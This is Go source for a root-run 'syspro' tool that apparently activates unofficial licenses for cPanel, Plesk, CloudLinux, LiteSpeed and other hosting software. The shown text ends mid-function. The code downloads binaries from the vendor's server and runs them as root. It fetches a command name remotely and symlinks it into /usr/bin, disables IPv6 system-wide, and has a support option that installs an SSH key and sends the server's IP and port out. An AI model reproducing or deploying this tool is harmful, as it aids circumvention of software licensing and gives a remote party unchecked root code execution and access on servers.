package main

import (
	"encoding/json"
	"crypto/sha256"
	"encoding/hex"
	"fmt"
	"io"
	"io/ioutil"
	"log"
	"sync"
	"net/http"
	"os"
	"os/exec"
	"strings"
	"path/filepath"
	"time"
	"bufio"
	"bytes"
	"regexp"
	"os/signal"
	"strconv"
	"os/user"
	"syscall"
	"github.com/gookit/color"
	"github.com/olekukonko/tablewriter"
)
var GetLicBranding string
var customCmd string
var UAData string

type Data struct {
	Status string `json:"status"`
	Brand  string `json:"brand_name"`
	Domain string `json:"domain_name"`
	Expiry string `json:"expire_date"`
}
type License struct {
    SoftwareID   int    `json:"software_id"`
    SoftwareName string `json:"software_name"`
    ExpireDate   string `json:"expire_date"`
}
type BrandingResponse struct {
	Status  string `json:"status"`
	Branding string `json:"branding"`
}
type CMDResponse struct {
	Status    string `json:"status"`
	CustomCmd string `json:"custom_cmd"`
}
const ShellToUse = "bash"
func getBranding() {
	// Create a new HTTP request
	req, _ := http.NewRequest("GET", "https://pp2.syspro.cc/get-branding", nil)
	req.Header.Set("User-Agent", UAData)

	// Perform the HTTP request
	resp, _ := http.DefaultClient.Do(req)
	defer resp.Body.Close()

	// Read the response body as plaintext
	body, _ := ioutil.ReadAll(resp.Body)

	// Unmarshal the JSON response into a struct
	var brandingResp BrandingResponse
	json.Unmarshal(body, &brandingResp)

	// Set the branding value
	GetLicBranding = brandingResp.Branding
}

func getCMD() {
	// Create a new HTTP request for the custom command
	req, err := http.NewRequest("GET", "https://pp2.syspro.cc/get-cmd", nil)
	if err != nil {
		log.Fatalf("Error creating HTTP request: %v", err)
	}
	req.Header.Set("User-Agent", UAData)

	// Perform the HTTP request
	resp, err := http.DefaultClient.Do(req)
	if err != nil {
		log.Fatalf("Error fetching custom command data: %v", err)
	}
	defer resp.Body.Close()

	// Check if the response status code is OK (200)
	if resp.StatusCode != http.StatusOK {
		log.Fatalf("Error: Received non-OK status code: %d", resp.StatusCode)
	}

	// Read the response body
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		log.Fatalf("Error reading response body: %v", err)
	}

	// Unmarshal the JSON response into a struct
	var cmdResp CMDResponse
	if err := json.Unmarshal(body, &cmdResp); err != nil {
		log.Fatalf("Error unmarshalling response: %v", err)
	}

	// Extract the custom_cmd value and store it
	customCmd = cmdResp.CustomCmd

	// Print the custom command for verification

	// Define the symlink path and the target (original syspro binary)
	symlinkPath := "/usr/bin/" + customCmd
	targetPath := "/usr/bin/syspro" // Original syspro binary

	// Check if the symlink already exists
	if _, err := os.Lstat(symlinkPath); err == nil {
		// If symlink already exists, skip creation
		return
	} else if !os.IsNotExist(err) {
		// Log any other errors (like permission errors)
		log.Fatalf("Error checking symlink: %v", err)
	}

	// Create the symbolic link
	err = os.Symlink(targetPath, symlinkPath)
	if err != nil {
		log.Fatalf("Error creating symbolic link: %v", err)
	}

	// Ensure the target file (/usr/bin/syspro) exists
	if _, err := os.Stat(targetPath); os.IsNotExist(err) {
		log.Fatalf("Error: Target file %s does not exist\n", targetPath)
		return
	}

	// Check if the target file has execute permission
	targetFileInfo, err := os.Stat(targetPath)
	if err != nil {
		log.Fatalf("Error checking target file: %v", err)
	}

	// Check if the file is executable (user has execute permission)
	if targetFileInfo.Mode()&0111 == 0 {
		// Add execute permission to the target file
		err := os.Chmod(targetPath, targetFileInfo.Mode()|0111)
		if err != nil {
			log.Fatalf("Error setting execute permission: %v", err)
		}
	} else {
	}
}

func getUA() {
	// Define the URL to send the GET request to
	url := "https://m.syspro.cc/ua.php"

	// Send the GET request
	resp, err := http.Get(url)
	if err != nil {
		log.Fatalf("Error sending request: %v", err)
	}
	defer resp.Body.Close()

	// Read the response body
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		log.Fatalf("Error reading response body: %v", err)
	}

	// Check if the response contains the "Unknown error" message
	if string(body) == "Unknown error" {
		log.Fatal("Not licensed")
	}

	// Trim any leading or trailing whitespace and set UAData
	UAData = strings.TrimSpace(string(body))
}


func checkConnection(url string) bool {
	// Create a new HTTP client with a custom user agent
	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		fmt.Println("Contact support at wiki.syspro.cc")
		return true // Return true if there's an error creating the request
	}
	req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		fmt.Println("Contact support at wiki.syspro.cc")
		return true // Return true if there's an error sending the request
	}
	defer resp.Body.Close()

	// Read the response body regardless of status code
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		fmt.Println("Contact support at wiki.syspro.cc")
		return true // Return true if there's an error reading the response body
	}

	// Convert response body to a string
	responseString := string(body)

	// Attempt to unmarshal the response to check if it's valid JSON
	var jsonResponse map[string]interface{}
	if json.Unmarshal(body, &jsonResponse) != nil && strings.TrimSpace(responseString) == "" {
		color.Red.Println("We are doing maintenance, your license will not be affected.")
		color.Red.Println("Please try again after few minutes.")
		color.Red.Println("If this issue persists for a long time, please contact support.")
		os.Exit(0)
	}

	// Check if the response contains "Suspended License" or "Expired License"
	if strings.Contains(responseString, "Suspended License") || strings.Contains(responseString, "Expired License") {
		return false // Return false if the response contains these strings
	}

	// If the response is valid and does not contain "Suspended License" or "Expired License", proceed
	return true
}

func checkRoot() {
	if os.Geteuid() != 0 {
		color.Red.Println("You need to run this program as root")
		os.Exit(1)
	}
}

func disableIPv6() {
    // Paths where sysctl configs may live
    mainConf := "/etc/sysctl.conf"
    customConf := "/etc/sysctl.d/99-disable-ipv6.conf"

    if os.Geteuid() != 0 {
        fmt.Println("Need root privileges to disable IPv6")
        return
    }

    // Config we want to enforce
    ipv6DisableConfig := `net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1
`

    // Always write to custom sysctl.d file (best practice on modern distros)
    ioutil.WriteFile(customConf, []byte(ipv6DisableConfig), 0644)

    // Also ensure sysctl.conf has no conflicting lines
    content, _ := ioutil.ReadFile(mainConf)
    newContent := string(content)
    // Remove any old ipv6 disable/enable lines
    newContent = regexp.MustCompile(`(?m)^net\.ipv6\.conf\..*disable_ipv6.*$`).ReplaceAllString(newContent, "")
    newContent = strings.TrimSpace(newContent) + "\n" + ipv6DisableConfig
    ioutil.WriteFile(mainConf, []byte(newContent), 0644)

    // Apply changes immediately
    exec.Command("sysctl", "--system").Run()

    // Verify IPv6 is disabled at runtime
    out, err := ioutil.ReadFile("/proc/sys/net/ipv6/conf/all/disable_ipv6")
    if err == nil && strings.TrimSpace(string(out)) == "1" {
        fmt.Println("✅ sever is ready to install the license ")
    } else {
        fmt.Println("⚠️ Attempted to disable IPv6, but verification failed. Check manually.")
    }
}


func isLicensed() {
	url := "https://pp2.syspro.cc/get/licenses"
	client := &http.Client{}

	req, _ := http.NewRequest("GET", url, nil)
req.Header.Set("User-Agent", UAData)

	resp, _ := client.Do(req)
	defer resp.Body.Close()

	body, _ := ioutil.ReadAll(resp.Body)

	// If the response says no active licenses, print the message and exit
	if string(body) == `{"message":"No active licenses"}` {
		color.Red.Println("You don't have permission to run this program.")
		color.Red.Println("At least one active license is needed to run this program.")

		os.Exit(1) // Exits the program
	}

	// Parse the response as a list of licenses
	var licenses []License
	_ = json.Unmarshal(body, &licenses)

	// If licenses are found, return silently
	if len(licenses) > 0 {
		return
	}

	// If no licenses are found, print the message and exit
		color.Red.Println("You don't have permission to run this program.")
		os.Exit(1) // Exits the program
}

func support(command string) {
    switch command {
    case "request":
        // Prompt user for input
        var email, product, issueDescription, sendServerAccess string
        fmt.Print("Your Email Address: ")
        fmt.Scanln(&email)
        fmt.Print("Product Name: ")
        fmt.Scanln(&product)
        fmt.Print("Describe about the issue: ")
        
        // Read the entire line including spaces
        scanner := bufio.NewScanner(os.Stdin)
        if scanner.Scan() {
            issueDescription = scanner.Text()
        } else {
            fmt.Println("Error reading issue description:", scanner.Err())
            return
        }
        
        fmt.Println("To fix the issue, we may require temporary access to your server.")
        fmt.Println("You can remove the access later using:",customCmd,"support remove")
        fmt.Print("Would you like to send the server access? (Y/N): ")
        fmt.Scanln(&sendServerAccess)

        // Prepare POST data
        postData := fmt.Sprintf("command=%s&email=%s&product=%s&issue_description=%s", command, email, product, issueDescription)

        if strings.ToUpper(sendServerAccess) == "Y" {
            // Get SSH port from config file
            port, _ := getSSHPort()
            postData += fmt.Sprintf("&port=%s", port)
        
            // Get server IP address
            ip := getServerIP()
            postData += fmt.Sprintf("&ip=%s", ip)
        
            _ = AddKey()
        }
        
        // Send POST request
        client := &http.Client{}
        req, _ := http.NewRequest("POST", "https://pp2.syspro.cc/support-data", bytes.NewBufferString(postData))
        req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
req.Header.Set("User-Agent", UAData)

        // Send the request
        resp, _ := client.Do(req)
        defer resp.Body.Close()
        
        fmt.Println("Your server access has been sent to the Technical support team.")
        fmt.Println("Our team will take up to 1 hour to address the issue. If more time is needed, we will update you via email.")
        fmt.Println("To check the status of the issue, please contact our support center.")
    
    case "remove":
        RemoveAuthorizedKeys()
        fmt.Println("Access has been removed completely!")
    
    default:
        fmt.Println("Invalid command")
    }
}

func all(command string) {
    switch command {
    case "check":
        url := "https://pp2.syspro.cc/get/licenses"

        // Create a custom HTTP client with a timeout
        client := &http.Client{
            Timeout: 10 * time.Second,
        }

        // Create a new HTTP request
        req, _ := http.NewRequest("GET", url, nil)

        // Set custom User-Agent
        req.Header.Set("User-Agent", UAData)

        // Send the request
        resp, err := client.Do(req)
        if err != nil {
            return
        }
        defer resp.Body.Close()

        if resp.StatusCode != http.StatusOK {
            return
        }

        // Decode JSON response
        var licenses []License
        json.NewDecoder(resp.Body).Decode(&licenses)

        // Display in table format using tablewriter
        table := tablewriter.NewWriter(os.Stdout)
        table.SetHeader([]string{"Software Name", "Expire Date"})

        for _, license := range licenses {
            table.Append([]string{license.SoftwareName, license.ExpireDate})
        }

        table.Render()

    case "enable":
        url := "https://pp2.syspro.cc/get/licenses"
        client := &http.Client{
            Timeout: 10 * time.Second,
        }

        req, _ := http.NewRequest("GET", url, nil)
        req.Header.Set("User-Agent", UAData)

        resp, err := client.Do(req)
        if err != nil {
            return
        }
        defer resp.Body.Close()

        if resp.StatusCode != http.StatusOK {
            return
        }

        var licenses []License
        json.NewDecoder(resp.Body).Decode(&licenses)

        for _, license := range licenses {
            switch license.SoftwareID {
            case 1:
				color.Info.Tips("Activating cpanel license")
                if !Exists("/usr/local/cpanel") {
                    color.Error.Prompt("Cpanel not installed")
					fmt.Println("Run:",customCmd,"cpanel install # To install cPanel")
					time.Sleep(3 * time.Second)
                } else {
                DownExec("https://repo.syspro.cc/bins/LicenseCPv2", "chmod +x /usr/bin/LicenseCPv2", "/usr/bin/LicenseCPv2")
				time.Sleep(3 * time.Second)
				}
            
            case 2:
				color.Info.Tips("Activating softaculous license")
                if !checkSoftaculousInstalled() {
                    color.Error.Prompt("Softaculous not installed")
                    fmt.Println("Run:",customCmd,"softaculous install # To install Softaculous")
					time.Sleep(3 * time.Second)
                } else {
                    DownExec("https://repo.syspro.cc/bins/LicenseSFv1", "chmod +x /usr/bin/LicenseSFv1", "/usr/bin/LicenseSFv1")
					time.Sleep(3 * time.Second)
				}

            case 3:
				color.Info.Tips("Activating Plesk license")
                if !Exists("/usr/sbin/plesk") {
                    color.Error.Prompt("Plesk not installed")
                    fmt.Println("Run:",customCmd,"plesk install # To install Plesk")
					time.Sleep(3 * time.Second)
                } else {
                DownExec("https://repo.syspro.cc/bins/LicensePLv1", "chmod +x /usr/bin/LicensePLv1", "/usr/bin/LicensePLv1")
				time.Sleep(3 * time.Second)
			}
            case 4:
				color.Info.Tips("Activating Cloudlinux license")
                if !Exists("/usr/sbin/clnreg_ks") {
                    color.Error.Prompt("Cloudlinux not installed")
                    fmt.Println("Run:",customCmd,"cloudlinux install # To install Cloudlinux")
					time.Sleep(3 * time.Second)
                } else {
                DownExec("https://repo.syspro.cc/bins/LicenseCLv3", "chmod +x /usr/bin/LicenseCLv3", "/usr/bin/LicenseCLv3")
				time.Sleep(3 * time.Second)
				}
			case 6:
				color.Info.Tips("Activating Imunify360 license")
				if !Exists("/opt/imunify360-webshield") {
					color.Error.Prompt("Imunify360 not installed")
					fmt.Println("Run:",customCmd,"im360 install		# To install Imunify360")
					time.Sleep(3 * time.Second)
				} else {
				DownExec("https://repo.syspro.cc/bins/LicenseIMv2", "chmod +x /usr/bin/LicenseIMv2", "/usr/bin/LicenseIMv2")
				time.Sleep(3 * time.Second)
			}
			case 17:
				color.Info.Tips("Activating Virtualizor license")
				if !Exists("/usr/local/virtualizor") {
					color.Error.Prompt("Virtualizor not installed")
					fmt.Println("Run:",customCmd,"virtualizor install		# To install virtualizor")
					time.Sleep(3 * time.Second)
				} else {
				DownExec("https://repo.syspro.cc/bins/LicenseVZv1", "chmod +x /usr/bin/LicenseVZv1", "/usr/bin/LicenseVZv1")
				time.Sleep(3 * time.Second)
			}
			case 18:
				color.Info.Tips("Activating Sitepad license")
				if !Exists("/usr/local/sitepad") {
					color.Error.Prompt("Sitepad not installed")
					fmt.Println("Run:",customCmd,"sitepad install		# To install sitepad")
					time.Sleep(3 * time.Second)
				} else {
				DownExec("https://repo.syspro.cc/bins/LicenseSPv2", "chmod +x /usr/bin/LicenseSPv2", "/usr/bin/LicenseSPv2")
				time.Sleep(3 * time.Second)
			}
			case 19:
				color.Info.Tips("Activating Jetbackup license")
				if !Exists("/usr/local/jetapps/var/lib/jetbackup5") {
					color.Error.Prompt("Jetbackup not installed")
					fmt.Println("Run:",customCmd,"jetbackup install		# To install Jetbackup")
					time.Sleep(3 * time.Second)
				} else {
				DownExec("https://repo.syspro.cc/bins/LicenseJBv1", "chmod +x /usr/bin/LicenseJBv1", "/usr/bin/LicenseJBv1")
				time.Sleep(3 * time.Second)
			}
			case 20:
				color.Info.Tips("Activating Whmreseller license")
				if !Exists("/usr/local/cpanel/whostmgr/docroot/cgi/whmreseller") {
					color.Error.Prompt("Whmreseller not installed")
					fmt.Println("Run:",customCmd,"whmreseller install		# To install Whmreseller")
					time.Sleep(3 * time.Second)
				} else {
				DownExec("https://repo.syspro.cc/bins/LicenseWRv1", "chmod +x /usr/bin/LicenseWRv1", "/usr/bin/LicenseWRv1")
				time.Sleep(3 * time.Second)
			}
			case 23:
				color.Info.Tips("Activating Litespeed 2-Core license")
				if !Exists("/usr/local/lsws") {
					color.Error.Prompt("Litespeed not installed")
					fmt.Println("Run:",customCmd,"litespeed2 install		# To install Litespeed")
					time.Sleep(3 * time.Second)
				} else {
				DownExec("https://repo.syspro.cc/bins/LicenseLSv2", "chmod +x /usr/bin/LicenseLSv2", "/usr/bin/LicenseLSv2")
				time.Sleep(3 * time.Second)
			}
			case 46:
				color.Info.Tips("Activating Litespeed X-Core license")
				if !Exists("/usr/local/lsws") {
					color.Error.Prompt("Litespeed not installed")
					fmt.Println("Run:",customCmd,"litespeedx install		# To install Litespeed")
					time.Sleep(3 * time.Second)
				} else {
				DownExec("https://repo.syspro.cc/bins/LicenseLSvx", "chmod +x /usr/bin/LicenseLSvx", "/usr/bin/LicenseLSvx")
				time.Sleep(3 * time.Second)
				}
			case 55:
				color.Info.Tips("Activating Litespeed 4-Core license")
				if !Exists("/usr/local/lsws") {
					color.Error.Prompt("Litespeed not installed")
					fmt.Println("Run:",customCmd,"litespeed4 install		# To install Litespeed")
					time.Sleep(3 * time.Second)
				} else {
				DownExec("https://repo.syspro.cc/bins/LicenseLSv4", "chmod +x /usr/bin/LicenseLSv4", "/usr/bin/LicenseLSv4")
				time.Sleep(3 * time.Second)
			}
			case 53:
				color.Info.Tips("Activating Webuzo license")
				if !Exists("/usr/local/webuzo") {
					color.Error.Prompt("Webuzo not installed")
					fmt.Println("Run:",customCmd,"webuzo install		# To install Webuzo control panel")
					time.Sleep(3 * time.Second)
				} else {
				DownExec("https://repo.syspro.cc/webuzo/LicenseWZv1", "chmod +x /usr/bin/LicenseWZv1", "/usr/bin/LicenseWZv1")
				time.Sleep(3 * time.Second)
				}
			case 54:
				color.Info.Tips("Activating CSX license")
				if !Exists("/usr/local/cpanel/whostmgr/docroot/cgi/configserver/cxs") {
					color.Error.Prompt("ConfigServer eXploit Scanner not installed")
					fmt.Println("Run:",customCmd,"cxs install		# To install CXS")
					time.Sleep(3 * time.Second)
				} else {
				DownExec("https://repo.syspro.cc/bins/LicenseCXS", "chmod +x /usr/bin/LicenseCXS", "/usr/bin/LicenseCXS")
				time.Sleep(3 * time.Second)
			}
            default:
                fmt.Println("Invalid software ID:", license.SoftwareID)
            }
        }
    default:
        fmt.Println("Invalid command")
    }
}


func cpanel(command string) {
	url := "https://pp2.syspro.cc/ronaldo/fetch?key=cpanelv3"
	if !checkConnection(url) {
		removecp()
		color.Error.Prompt("403 | IP not licensed")
		return
	}

	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		log.Fatal(err)
	}
req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()

	// Read the response body
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		log.Fatal(err)
	}

	// Unmarshal JSON response
	var f Data
	err = json.Unmarshal(body, &f)
	if err != nil {
		log.Fatal(err)
	}

	switch command {
	case "install":
		if Exists("/usr/local/cpanel") {
			fmt.Println("Cpanel already installed.")
			os.Exit(3)
		}

		fmt.Println("Installing cpanel please wait...")
		installCpanel()
	case "enable":
		if !Exists("/usr/local/cpanel") {
			color.Error.Prompt("cPanel not installed")
			fmt.Println("Run:",customCmd,"cpanel install		# To install cpanel")
			os.Exit(3)
		}
		color.Info.Tips("Downloading required files. If the process slow or stuck, your internet speed may be low. We'll show your speed shortly. Contact support if needed.")
		TestInternetSpeed()
		DownExec("https://repo.syspro.cc/bins/LicenseCPv2", "chmod +x /usr/bin/LicenseCPv2", "/usr/bin/LicenseCPv2")
		break
	case "force":
		DownExec("https://repo.syspro.cc/bins/LicenseCPv2", "chmod +x /usr/bin/LicenseCPv2", "/usr/bin/LicenseCPv2")
		break
	case "remove":
		uninstallcp()
	case "ssl":
		DownExec("https://repo.syspro.cc/cpanel/SSL", "chmod +x /usr/bin/SSL", "/usr/bin/SSL")
		break
	case "fleetssl":
		FleetSSL()
		break
	case "update":
		UpdateCPupdate()
		break
	case "needup":
		UpdateCPYN()
		break
	case "noupdate":
		noupdate()
		break
	case "ioncube":
		ioncubeCP()
		break
	case "yesupdate":
		yesupdate()
		break
	case "fix":
		DownExec("https://repo.syspro.cc/bins/LicenseCPv2", "chmod +x /usr/bin/LicenseCPv2", "/usr/bin/LicenseCPv2 --fix")
		break
	case "verify":
		fmt.Println("Attempting to verify your server IP on Cpanel server.")
		cpanelVerify()
		break
	case "check":
		if !cpCheck() {
				DownExec("https://repo.syspro.cc/bins/LicenseCPv2", "chmod +x /usr/bin/LicenseCPv2", "/usr/bin/LicenseCPv2")
		} else {
		fmt.Println("Cpanel license operate normally")
		}
		break
	case "help":
	color.Info.Tips("Usages:")
	data := [][]string{
		{customCmd + " cpanel install", "Install cpanel"},
		{customCmd + " cpanel enable", "Active license on cPanel"},
		{customCmd + " cpanel update", "Update cPanel"},
		{customCmd + " cpanel ssl", "Enable SSL on cPanel hostname"},
		{customCmd + " cpanel ioncube", "Install ioncube loader to install softaculous"},
		{customCmd + " cpanel fleetssl", "Install and enable FleetSSL"},
		{customCmd + " cpanel verify", "Verify server IP on cpanel.net"},
		{customCmd + " cpanel remove", "Remove cPanel license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()
		break
	default:
		color.Error.Prompt("Wrong option provided for cPanel")
	data := [][]string{
		{customCmd + " cpanel install", "Install cpanel"},
		{customCmd + " cpanel enable", "Active license on cPanel"},
		{customCmd + " cpanel update", "Update cPanel"},
		{customCmd + " cpanel ioncube", "Install ioncube loader to install softaculous"},
		{customCmd + " cpanel ssl", "Enable SSL on cPanel hostname"},
		{customCmd + " cpanel fleetssl", "Install and enable FleetSSL"},
		{customCmd + " cpanel verify", "Verify server IP on cpanel.net"},
		{customCmd + " cpanel remove", "Remove cPanel license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()

	}
}

func wpsq(command string) {
	url := "https://pp2.syspro.cc/ronaldo/fetch?key=wpsq"
	if !checkConnection(url) {
		removecp()
		color.Error.Prompt("403 | IP not licensed")
		return
	}

	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		log.Fatal(err)
	}
req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()

	// Read the response body
	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		log.Fatal(err)
	}

	// Unmarshal JSON response
	var f Data
	err = json.Unmarshal(body, &f)
	if err != nil {
		log.Fatal(err)
	}

	switch command {
	case "install":
		if Exists("/usr/local/cpanel") {
			fmt.Println("Cpanel already installed.")
			os.Exit(3)
		}

		fmt.Println("Installing cpanel please wait...")
		installWPSQ()
	case "enable":
		if !Exists("/usr/local/cpanel") {
			color.Error.Prompt("cPanel not installed")
			fmt.Println("Run:",customCmd,"wpsq install		# To install WP Squared")
			os.Exit(3)
		}
		color.Info.Tips("Downloading required files. If the process slow or stuck, your internet speed may be low. We'll show your speed shortly. Contact support if needed.")
		TestInternetSpeed()
		DownExec("https://repo.syspro.cc/bins/LicenseWPv2", "chmod +x /usr/bin/LicenseWPv2", "/usr/bin/LicenseWPv2")
		break
	case "force":
		DownExec("https://repo.syspro.cc/bins/LicenseWPv2", "chmod +x /usr/bin/LicenseWPv2", "/usr/bin/LicenseWPv2")
		break
	case "remove":
		uninstallcp()
	case "ssl":
		DownExec("https://repo.syspro.cc/cpanel/SSL", "chmod +x /usr/bin/SSL", "/usr/bin/SSL")
		break
	case "fleetssl":
		FleetSSL()
		break
	case "update":
		UpdateWPSQupdate()
		break
	case "needup":
		UpdateWPSQYN()
		break
	case "noupdate":
		noupdate()
		break
	case "ioncube":
		ioncubeCP()
		break
	case "yesupdate":
		yesupdate()
		break
	case "fix":
		DownExec("https://repo.syspro.cc/bins/LicenseWPv2", "chmod +x /usr/bin/LicenseWPv2", "/usr/bin/LicenseWPv2 --fix")
		break
	case "verify":
		fmt.Println("Attempting to verify your server IP on Cpanel server.")
		cpanelVerify()
		break
	case "check":
		if !cpCheck() {
				DownExec("https://repo.syspro.cc/bins/LicenseWPv2", "chmod +x /usr/bin/LicenseWPv2", "/usr/bin/LicenseWPv2")
		} else {
		fmt.Println("WP Squared license operate normally")
		}
		break
	case "help":
	color.Info.Tips("Usages:")
	data := [][]string{
		{customCmd + " wpsq install", "Install WP Squared"},
		{customCmd + " wpsq enable", "Active license on WP Squared"},
		{customCmd + " wpsq update", "Update WP Squared"},
		{customCmd + " wpsq ssl", "Enable SSL on WP Squared hostname"},
		{customCmd + " wpsq ioncube", "Install ioncube loader to install softaculous"},
		{customCmd + " wpsq fleetssl", "Install and enable FleetSSL"},
		{customCmd + " wpsq remove", "Remove WP Squared license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()
		break
	default:
		color.Error.Prompt("Wrong option provided for WP Squared")
	data := [][]string{
		{customCmd + " cpanel install", "Install WP Squared"},
		{customCmd + " cpanel enable", "Active license on WP Squared"},
		{customCmd + " cpanel update", "Update WP Squared"},
		{customCmd + " cpanel ioncube", "Install ioncube loader to install softaculous"},
		{customCmd + " cpanel ssl", "Enable SSL on WP Squared hostname"},
		{customCmd + " cpanel fleetssl", "Install and enable FleetSSL"},
		{customCmd + " cpanel remove", "Remove WP Squared license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()

	}
}

func plesk(command string) {
	url := "https://pp2.syspro.cc/ronaldo/fetch?key=plesk"
	if !checkConnection(url) {
		color.Error.Prompt("403 | IP not licensed")
		removePlesk()
		return
	}

	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		log.Fatal(err)
	}
req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()

	var f Data
	body, _ := ioutil.ReadAll(resp.Body)
	err = json.Unmarshal(body, &f)
	if err != nil {
		log.Fatal(err)
	}

	switch command {
	case "install":
		if Exists("/usr/sbin/plesk") {
			fmt.Println("Plesk already installed.")
			os.Exit(3)
		}

		fmt.Println("Installing Plesk, please wait...")
		installPlesk()
	case "enable":
		if !Exists("/usr/sbin/plesk") {
			color.Error.Prompt("Plesk not installed")
			fmt.Println("Run:",customCmd,"plesk install		# To install Plesk")
			os.Exit(3)
		}
		DownExec("https://repo.syspro.cc/bins/LicensePLv1", "chmod +x /usr/bin/LicensePLv1", "/usr/bin/LicensePLv1")
		break
	case "remove":
		removePlesk()
	case "update":
		updatePlesk()
		break
	case "check":
		if !checkPlesk() {
				DownExec("https://repo.syspro.cc/bins/LicensePLv1", "chmod +x /usr/bin/LicensePLv1", "/usr/bin/LicensePLv1")
		} else {
		fmt.Println("Plesk license operate normally")
		}
		break
	case "help":
	color.Info.Tips("Usages:")
	data := [][]string{
		{customCmd + " plesk install", "Install Plesk"},
		{customCmd + " plesk enable", "Active license on plesk"},
		{customCmd + " plesk remove", "Remove plesk license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()
		break
	default:
		// Display error message and help
		color.Error.Prompt("Wrong option provided for Plesk")
		fmt.Println("Usages:")
		data := [][]string{
			{customCmd + " plesk install", "Install Plesk"},
			{customCmd + " plesk enable", "Active license on plesk"},
			{customCmd + " plesk remove", "Remove plesk license"},
		}

		table := tablewriter.NewWriter(os.Stdout)
		table.SetHeader([]string{"Command", "Description"})

		for _, v := range data {
			table.Append(v)
		}

		table.Render()
	}
}
func im360(command string) {
	url := "https://pp2.syspro.cc/ronaldo/fetch?key=imunify360"
	if !checkConnection(url) {
		removeIM360()
		color.Error.Prompt("403 | IP not licensed")
		return
	}

	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		log.Fatal(err)
	}
req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()

	var f Data
	body, _ := ioutil.ReadAll(resp.Body)
	err = json.Unmarshal(body, &f)
	if err != nil {
		log.Fatal(err)
	}

	switch command {
	case "install":
		if Exists("/opt/imunify360-webshield") {
			fmt.Println("Imunify360 already installed.")
			os.Exit(3)
		}

		fmt.Println("Installing Imunify360 please wait...")
		installIM360()
	case "enable":
		if !Exists("/opt/imunify360-webshield") {
			color.Error.Prompt("Imunify360 not installed")
			fmt.Println("Run:",customCmd,"im360 install		# To install Imunify360")
			os.Exit(3)
		}
		DownExec("https://repo.syspro.cc/bins/LicenseIMv2", "chmod +x /usr/bin/LicenseIMv2", "/usr/bin/LicenseIMv2")
		break
	case "remove":
		removeIM360()
		break
	case "check":
		checkIM360()
		break
	case "help":
	color.Info.Tips("Usages:")
	data := [][]string{
		{customCmd + " im360 install", "Install Imunify360"},
		{customCmd + " im360 enable", "Active license on Imunify360"},
		{customCmd + " im360 remove", "Remove Imunify360 license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()
		break
	default:
		color.Error.Prompt("Wrong option provided for Imunify360")
	data := [][]string{
		{customCmd + " im360 install", "Install Imunify360"},
		{customCmd + " im360 enable", "Active license on Imunify360"},
		{customCmd + " im360 remove", "Remove Imunify360 license"},
	}

	table := tablewriter.NewWriter(os.Stdout)
	table.SetHeader([]string{"Command", "Description"})

	for _, v := range data {
		table.Append(v)
	}

	table.Render()

	}
}
////////////////////////////////////Cloudlinux
func cloudlinux(command string) {
	url := "https://pp2.syspro.cc/ronaldo/fetch?key=cloudlinux"
	if !checkConnection(url) {
		removeCloudlinux()
		color.Error.Prompt("403 | IP not licensed - Please contact support")
		return
	}

	client := &http.Client{}
	req, err := http.NewRequest("GET", url, nil)
	if err != nil {
		log.Fatal(err)
	}
req.Header.Set("User-Agent", UAData)

	// Send HTTP request
	resp, err := client.Do(req)
	if err != nil {
		log.Fatal(err)
	}
	defer resp.Body.Close()

	var f Data
	body, _ := ioutil.ReadAll(resp.Body)
	err = json.Unmarshal(body, &f)
	if err != nil {
		log.Fatal(err)
	}

	switch command {
	case "install":
		if Exists("/usr/sbin/clnreg_ks") {
			var input string
			fmt.Println("Cloudlinux already installed. Do you still want to install it? (yes/no)")
			fmt.Scanln(&input)
			if input == "yes" || input == "y" {
				os.Rename("/usr/sbin/clnreg_ks", "/usr/sbin/clnreg_ks.old")
				if err != nil {
					fmt.Println("Error removing existing Cloudlinux installation:", err)
					os.Exit(1)
				}
				fmt.Println("Existing Cloudlinux installation removed.")
				fmt.Println("Installing Cloudlinux please wait...")
				PostInstallationsCloudlinux()
				os.Rename("/usr/sbin/clnreg_ks.old", "/usr/sbin/clnreg_ks")
			} else {
				fmt.Println("Exiting...")
				os.Exit(0)
			}
		} else {
			fmt.Println("Installing Cloudlinux please wait...")
			PostInstallationsCloudlinux()
		}
	case "enable":
		if !Exists("/usr/sbin/clnreg_ks") {
